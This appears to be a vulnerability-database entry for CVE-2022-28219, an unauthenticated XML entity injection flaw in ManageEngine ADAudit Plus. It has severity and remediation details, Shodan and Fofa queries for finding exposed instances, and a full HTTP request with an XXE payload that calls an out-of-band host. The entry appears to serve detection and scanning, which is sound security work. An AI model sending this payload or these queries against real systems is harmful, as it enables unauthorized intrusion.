| Title | Zoho ManageEngine ADAudit Plus <7600 - XML Entity Injection/Remote Code Execution |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code or perform remote code execution on the affected system. |
| Remediation | Update to ADAudit Plus build 7060 or later, and ensure ADAudit Plus is configured with a dedicated service account with restricted privileges. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94202 |
| CVE ID | CVE-2022-28219 |
| CWE ID | CWE-611 |
| Shodan Query | http.title:"ADAudit Plus" || http.title:"ManageEngine - ADManager Plus"http.title:"adaudit plus" || http.title:"manageengine - admanager plus" |
| Fofa Query | title="adaudit plus" || http.title:"manageengine - admanager plus" |
| Tags | cve cve2022 xxe rce zoho manageengine unauth zohocorp vkev vuln |
Zoho ManageEngine ADAudit Plus before version 7060 is vulnerable to an unauthenticated XML entity injection attack that can lead to remote code execution.
POST /api/agent/tabs/agentData HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Connection: close
Content-Length: 283
Accept: */*
Accept-Language: en
Content-Type: application/json
Accept-Encoding: gzip
[
{
"DomainName": "www.victim.com",
"EventCode": 4688,
"EventType": 0,
"TimeGenerated": 0,
"Task Content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><! foo [ <!ENTITY % xxe SYSTEM \"http://d5jmcl1le0o1j23d9hcgz73xo64fmsmzc.oast.fun\"> %xxe; ]>"
}
]
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-28219.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-28219.pcap
N/AN/A